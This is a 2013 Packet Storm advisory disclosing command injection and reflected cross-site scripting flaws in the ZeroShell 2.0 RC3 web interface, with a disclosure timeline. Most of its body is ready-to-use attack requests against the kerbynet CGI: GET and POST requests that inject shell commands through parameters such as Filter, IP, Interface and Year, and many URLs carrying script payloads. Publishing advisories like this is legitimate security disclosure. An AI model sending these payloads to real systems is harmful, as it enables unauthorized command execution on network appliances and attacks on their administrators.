Exploit the possiblities

ZeroShell 2.0 RC3 Command Injection / Cross Site Scripting

ZeroShell 2.0 RC3 Command Injection / Cross Site Scripting
Posted Oct 3, 2013
Authored by xistence

ZeroShell version 2.0 RC3 suffers from command injection and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 1b886fe089036cb279eae1e1dcf4def1

ZeroShell 2.0 RC3 Command Injection / Cross Site Scripting

Change Mirror Download
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

ZeroShell 2.0 RC3

-------------------------
Affected vendors:
-------------------------

ZeroShell
http://www.zeroshell.org/download/

-------------------------
Product description:
-------------------------

Zeroshell is a Linux distribution for servers and embedded devices aimed at
providing the main network services a LAN requires.
It is available in the form of Live CD or Compact Flash image and you can
configure and administer it using your web browser.
The main features of this Linux distribution for Network Appliances are
listed below:

----------
Details:
----------

ZeroShell 2.0 RC3 is prone to multiple vulnerabilities. Below are the
details.

[ 0x01 - Command Injection ]

Command injection (will show linux "uname -a" in response)

GET requests:
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Action=Render&Object=acctEntries&Filter=%26uname%20-a%26
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Router&Action=CheckIPPING&IP=%26uname%20-a%26
/cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Network&Action=ShowInterface&Interface=%26uname%20-a%26

POST Request:

POST /cgi-bin/kerbynet HTTP/1.1
Host: 192.168.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 156

Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=%26uname%20-a%26&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter=


[ 0x02 - Reflected XSS ]

/cgi-bin/kerbynet?Section=DNS&STk=INSERT-STk-TOKEN-HERE&Action=Lookup&DNS="><script>alert('XSS')</script>
/cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=&Filter="%3balert('XSS')//
/cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=<script>alert('XSS')</script>&Page=1&ManSection=1
/cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=man_page&Page=</title><script>alert('XSS')</script>&ManSection=1
/cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=<script>alert('XSS')</script>&Filter=
/cgi-bin/kerbynet?Section=Acct&STk=INSERT-STk-TOKEN-HERE&Action=ViewCredit&Username="><script>alert('XSS')</script>
/cgi-bin/kerbynet?Action=Lookup&STk=INSERT-STk-TOKEN-HERE&Section=DNS&What="><script>alert('XSS')</script>&DNS=localhost
/cgi-bin/kerbynet?Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=<script>alert('XSS')</script>&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter=
/cgi-bin/kerbynet?type="><script>alert('XSS')</script>&x509cn=woot&Action=Edit&STk=INSERT-STk-TOKEN-HERE&Section=K5&Validity=730&nbit=2048&IncludeKey=Yes&Format=pfx
/cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel="><script>alert('XSS')</script>&type=user&x509cn=&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes
/cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel=&type=user&x509cn="><script>alert('XSS')</script>&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes

-----------
Solution:
-----------

No fix available, use a good WAF :)

--------------
Timeline:
--------------

2013-09-14 Provided details to ZeroShell.
2013-09-14 Response from ZeroShell that these are not vulnerabilities...
*sigh*
2013-10-04 Public disclosure.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

February 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    15 Files
  • 2
    Feb 2nd
    15 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    13 Files
  • 5
    Feb 5th
    16 Files
  • 6
    Feb 6th
    15 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    15 Files
  • 9
    Feb 9th
    18 Files
  • 10
    Feb 10th
    8 Files
  • 11
    Feb 11th
    8 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    15 Files
  • 14
    Feb 14th
    15 Files
  • 15
    Feb 15th
    17 Files
  • 16
    Feb 16th
    18 Files
  • 17
    Feb 17th
    37 Files
  • 18
    Feb 18th
    2 Files
  • 19
    Feb 19th
    16 Files
  • 20
    Feb 20th
    11 Files
  • 21
    Feb 21st
    3 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close